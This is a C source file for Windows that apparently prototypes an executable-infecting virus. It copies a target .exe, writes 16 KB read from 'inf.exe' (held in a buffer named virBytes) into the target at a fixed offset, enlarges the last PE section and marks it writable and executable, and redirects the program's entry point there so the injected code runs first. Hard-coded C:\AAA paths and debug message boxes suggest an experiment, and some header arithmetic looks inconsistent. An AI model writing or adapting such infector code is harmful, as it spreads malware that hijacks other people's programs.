#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string.h>
#include <stdio.h>
#include <imagehlp.h>

char FileAlignment;

DWORD CureLastSection(char* pFileMap)
{
   PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
   PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
   PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
   int numSections = pNTHeaders->FileHeader.NumberOfSections;
   for(int i = 0; i < numSections; i++){
    if(i == numSections-1){
      pSectionHeader->Misc.VirtualSize += 0x40000;   
      pSectionHeader->SizeOfRawData += 0x40000;   
      pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;
      pSectionHeader->Characteristics = 0xa0000020;
      pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;
      pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;
      MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);
      MessageBoxA(0, "Last Section Curred!", ":)", 0);
    } else pSectionHeader++;
   }
   return 0;
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){   

   HANDLE hFile, hVir, hMapping;
   DWORD d, offset;
   DWORD br;
   char *mapping, *entry;
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nt;
   char virBytes[16384];
   int i;

   DeleteFile( L"C:\\AAA\\1.exe");

   CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);

   hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);

   if(hFile!=INVALID_HANDLE_VALUE)
   {
    d = GetFileSize(hFile, 0);
    hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
    mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
    dos = (PIMAGE_DOS_HEADER)mapping;
    nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
      

    DWORD dwBytesWritten = 0;

    hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    SetFilePointer(hVir, 0, NULL, FILE_BEGIN);
    ReadFile(hVir, virBytes, 16384, &br, NULL );
    CloseHandle(hVir);

    SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);
    WriteFile( hFile, virBytes, 16384, &br, NULL );

    CureLastSection(mapping);

    UnmapViewOfFile(mapping);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    MessageBoxA(0, "OK", ":)", 0);

   }else MessageBoxA(0, "Cant open!", ":)!", 0);

   return 1;
}